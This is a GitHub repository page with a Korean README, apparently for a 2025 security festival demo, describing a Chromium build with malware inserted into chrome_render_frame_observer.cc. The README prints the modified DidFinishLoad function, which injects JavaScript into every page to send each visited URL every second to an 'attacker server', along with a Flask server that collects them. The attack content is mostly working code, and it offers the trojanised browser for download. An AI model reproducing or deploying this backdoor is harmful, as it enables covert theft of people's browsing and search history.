Skip to content

layer7-kr/SSF_Polluted_Chromium

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

2025 소프트웨어나눔축제

Layer7 - Chrome 해킹해서 친구 검색기록 훔쳐보기

위에 링크를 따라 다운로드를 하시면 악성 코드가 삽입된 크로미움을 다운받으실수 있습니다.

저희는 chrome_render_frame_observer.cc 에 악성코드를 삽입했습니다. 해당 파일은 Chromium 렌더러 프로세스에서 각 웹 프레임(RenderFrame)의 동작을 감시하고, 페이지 로드 이벤트, 스크립트 실행, 보안 정책 적용, Chrome 전용 기능(API 주입, 세이프 브라우징, 확장 프로그램 연동 등)을 처리하는 기능이 구현된 파일입니다. 다음은 해당 파일 안에 있는 페이지 로딩이 끝나면 악성 코드가 실행되는 함수인 DidFinishLoad의 코드입니다.

void ChromeRenderFrameObserver::DidFinishLoad() {
  blink::WebLocalFrame* frame = render_frame()->GetWebFrame();
  NotifyLoadTriggered();

  std::string js_code = R"JS(
      (function() {
          let lastUrl = location.href;

          const report = (url) => {
              try {
                  fetch("http://127.0.0.1:5000/log", {
                      method: "POST",
                      headers: {
                          "Content-Type": "application/json"
                      },
                      body: JSON.stringify({ url: url })
                  });
              } catch (e) {
                  console.error("[X] fetch error:", e);
              }
          };

          report(lastUrl);

          setInterval(() => {
              if (location.href !== lastUrl) {
                  lastUrl = location.href;
                  report(lastUrl);
              }
          }, 1000);
      })();
  )JS";

  frame->ExecuteScript(blink::WebScriptSource(blink::WebString::FromUTF8(js_code.c_str())));
}

여기서 중요하게 보셔야 할 코드는 다음과 같습니다.

std::string js_code = R"JS(
    (function() {
        let lastUrl = location.href;

        const report = (url) => {
            try {
                fetch("http://127.0.0.1:5000/log", {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json"
                    },
                    body: JSON.stringify({ url: url })
                });
            } catch (e) {
                console.error("[X] fetch error:", e);
            }
        };

        report(lastUrl);

        setInterval(() => {
            if (location.href !== lastUrl) {
                lastUrl = location.href;
                report(lastUrl);
            }
        }, 1000);
    })();
)JS";

쉽게 설명드리면 페이지 로딩이 끝나면 lastUrl 이라는 변수에 현재 페이지 주소를 저장합니다.
이후 report 라는 함수를 실행합니다. report 라는 함수가 실행되면 fetch() 함수를 통해 공격자 서버(127.0.0.1:5000/log)에 method 는 "POST", header에 Content-Type 은 json, body 에는 json 형태로 lastUrl 변수값을 저장한후 Ajax 요청을 날립니다. 요청을 잘 전송되었다면 공격자 서버 터미널(콘솔)에 검색기록이 잘 전달된 것을 확인하실 수 있습니다.

from flask import Flask, request

app = Flask(__name__)

@app.route('/log', methods=['POST'])
def log():
    data = request.get_json()
    url = data['url']
    print(f"url : {url}")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

다음과 같은 공격자 서버를 실행한 후 악성 크로미움을 통해 검색을 하게 되면 공격자 서버 터미널에 접속한 url 정보가 뜨는 것을 확인하실수 있습니다.

About

2025 소프트웨어 나눔 축제

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages